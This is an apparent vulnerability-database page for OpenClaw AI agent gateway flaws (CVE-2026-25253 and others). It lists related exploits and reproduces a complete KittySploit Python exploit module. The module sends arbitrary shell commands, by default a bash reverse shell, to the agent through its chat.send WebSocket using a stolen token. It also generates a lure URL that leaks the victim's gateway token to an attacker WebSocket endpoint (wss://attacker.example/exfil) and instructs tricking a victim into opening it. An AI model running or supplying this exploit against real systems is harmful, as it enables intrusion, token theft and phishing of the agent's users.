OpenClaw AI Agent Gateway RCE
| Reporter | Title | Published | Views | Family All 74 |
|---|---|---|---|---|
| leash-poc | 24 Aug 202608:29 | – | githubexploit | |
| Exploit for CVE-2026-25253 | 5 Feb 202607:31 | – | githubexploit | |
| Exploit for CVE-2026-30741 | 10 Mar 202614:40 | – | githubexploit | |
| Exploit for Incorrect Resource Transfer Between Spheres in Openclaw | 22 Feb 202600:03 | – | githubexploit | |
| Exploit for Incorrect Resource Transfer Between Spheres in Openclaw | 21 Aug 202604:18 | – | githubexploit | |
| Exploit for Incorrect Resource Transfer Between Spheres in Openclaw | 18 Apr 202611:06 | – | githubexploit | |
| Exploit for CVE-2026-25253 | 8 Feb 202608:35 | – | githubexploit | |
| CVE-2026-30741 | 11 Mar 202600:00 | – | attackerkb | |
| CVE-2026-25253 | 1 Feb 202622:34 | – | attackerkb | |
| The vulnerability of the AI agent OpenClaw (formerly known as ClawdBot or MoltBot) arises from the lack of validation for incoming requests, allowing a malicious actor to gain unauthorized access to the system and execute arbitrary code. | 16 Feb 202600:00 | – | bdu_fstec |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.openclaw.gateway_client import (
FIXED_CVE_2026_25253,
GATEWAY_TOKEN_RE,
OpenClawGatewayClient,
version_lt,
)
class Module(Exploit, Http_client):
__info__ = {
"name": "OpenClaw AI Agent Gateway RCE",
"description": (
"Exploits exposed OpenClaw AI agent gateways by abusing operator WebSocket "
"access (chat.send) with a stolen or supplied gateway token. Also supports "
"CVE-2026-25253 malicious URL generation for token exfiltration chains."
),
"author": "KittySploit Team",
"cve": [
"CVE-2026-25253",
"CVE-2026-32922",
"CVE-2026-30741",
],
"platform": Platform.MULTI,
"arch": [Arch.CMD],
"references": [
["CVE", "2026-25253"],
["URL", "https://github.com/openclaw/openclaw/security/advisories/GHSA-g8p2-7wf7-98mq"],
["URL", "https://github.com/EQSTLab/CVE-2026-25253"],
["URL", "https://docs.openclaw.ai/gateway/security"],
],
"payload": {
"default": "payloads/singles/cmd/unix/bash_reverse_tcp",
"platform": Platform.UNIX,
"category": PayloadCategory.SINGLE,
},
"tags": ["openclaw", "ai-agent", "gateway", "websocket", "prompt-injection", "mcp"],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
'post/shell/multi/manage/pivot_autoroute']},
},
}
rhost = OptString("", "Target OpenClaw gateway host", required=True)
rport = OptPort(18789, "Target port", required=True)
ssl = OptBool(False, "Use HTTPS/WSS", required=True)
verify_ssl = OptBool(False, "Verify TLS certificates", required=False, advanced=True)
gateway_token = OptString(
"",
"OpenClaw gateway authentication token (40-128 hex chars)",
required=False,
)
command = OptString(
"",
"Shell command to run via agent (overrides generated payload)",
required=False,
)
session_key = OptString(
"agent:main:main",
"OpenClaw session key for chat.send",
required=False,
advanced=True,
)
action = OptChoice(
"execute",
"execute: run command via gateway token | generate_url: build CVE-2026-25253 lure URL",
required=False,
choices=["execute", "generate_url"],
)
victim_ui = OptString(
"http://127.0.0.1:18789/",
"Victim Control UI base URL (generate_url action)",
required=False,
advanced=True,
)
attacker_ws = OptString(
"",
"Attacker WebSocket endpoint for token exfil (generate_url action)",
required=False,
advanced=True,
)
def _client(self) -> OpenClawGatewayClient:
return OpenClawGatewayClient(
host=self.rhost,
port=self.rport,
ssl=self.ssl,
timeout=max(int(self.timeout or 15), 10),
verify_ssl=self.verify_ssl,
)
def check(self):
try:
info = self._client().fingerprint()
if not info.get("detected"):
return {
"vulnerable": False,
"reason": "Target does not look like an OpenClaw gateway",
"confidence": "medium",
}
version = str(info.get("version") or "")
bind = str(info.get("bind") or "")
reasons = ["OpenClaw gateway reachable"]
confidence = "high"
if version:
reasons.append(f"version {version}")
if version_lt(version, FIXED_CVE_2026_25253):
reasons.append("Control UI likely vulnerable to CVE-2026-25253 token exfil (< 2026.1.29)")
token = str(self.gateway_token or "").strip()
if token:
if not GATEWAY_TOKEN_RE.fullmatch(token):
return {
"vulnerable": False,
"reason": "GATEWAY_TOKEN format is invalid",
"confidence": "high",
}
reasons.append("gateway token supplied for operator RCE attempt")
elif bind and bind not in ("loopback", "127.0.0.1", "localhost", ""):
reasons.append(f"gateway bound to {bind} (network exposure risk)")
return {
"vulnerable": True,
"reason": "; ".join(reasons),
"confidence": confidence,
}
except Exception as exc:
return {
"vulnerable": False,
"reason": f"Check failed: {exc}",
"confidence": "low",
}
def _resolve_command(self) -> str:
if self.command and str(self.command).strip():
return str(self.command).strip()
raw_payload = getattr(self, "payload", None)
if not raw_payload:
fail.Message("No payload or COMMAND configured")
return ""
if isinstance(raw_payload, bytes):
return raw_payload.decode("utf-8", errors="ignore")
return str(raw_payload)
def run(self):
action = str(self.action or "execute").strip().lower()
if action == "generate_url":
ws_url = str(self.attacker_ws or "").strip()
if not ws_url:
fail.Message("Set ATTACKER_WS for generate_url action (e.g. wss://attacker.example/exfil)")
return False
url = OpenClawGatewayClient.build_token_exfil_url(self.victim_ui, ws_url)
print_success("CVE-2026-25253 lure URL generated:")
print_info(url)
print_warning(
"Serve a WebSocket collector (see EQSTLab/CVE-2026-25253) and trick a victim "
"into opening this URL in a browser with an active OpenClaw Control UI session."
)
return True
token = str(self.gateway_token or "").strip()
if not token:
fail.Message(
"GATEWAY_TOKEN is required for execute action "
"(obtain via CVE-2026-25253 exfil, config leak, or insider access)"
)
return False
cmd = self._resolve_command()
if not cmd:
return False
print_status(f"Connecting to OpenClaw gateway at {self.rhost}:{self.rport} ...")
print_debug(f"Command: {cmd}")
result = self._client().execute_command(
token=token,
command=cmd,
session_key=str(self.session_key or "agent:main:main"),
)
if result.get("success"):
output = str(result.get("output") or "").strip()
if output:
print_success("Agent returned command output:")
print_info(output)
else:
print_success("Command dispatched to OpenClaw agent.")
print_info(
"If a reverse payload was used, watch your listener; "
"the agent may not echo shell output in chat."
)
return True
print_error(f"Exploitation failed: {result.get('error') or 'unknown error'}")
return False
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10 Jul 2026 11:31Current
7.8High risk
Vulners AI Score7.8
CVSS 3.19.8 - 9.9
CVSS 49.4
EPSS0.24429
SSVC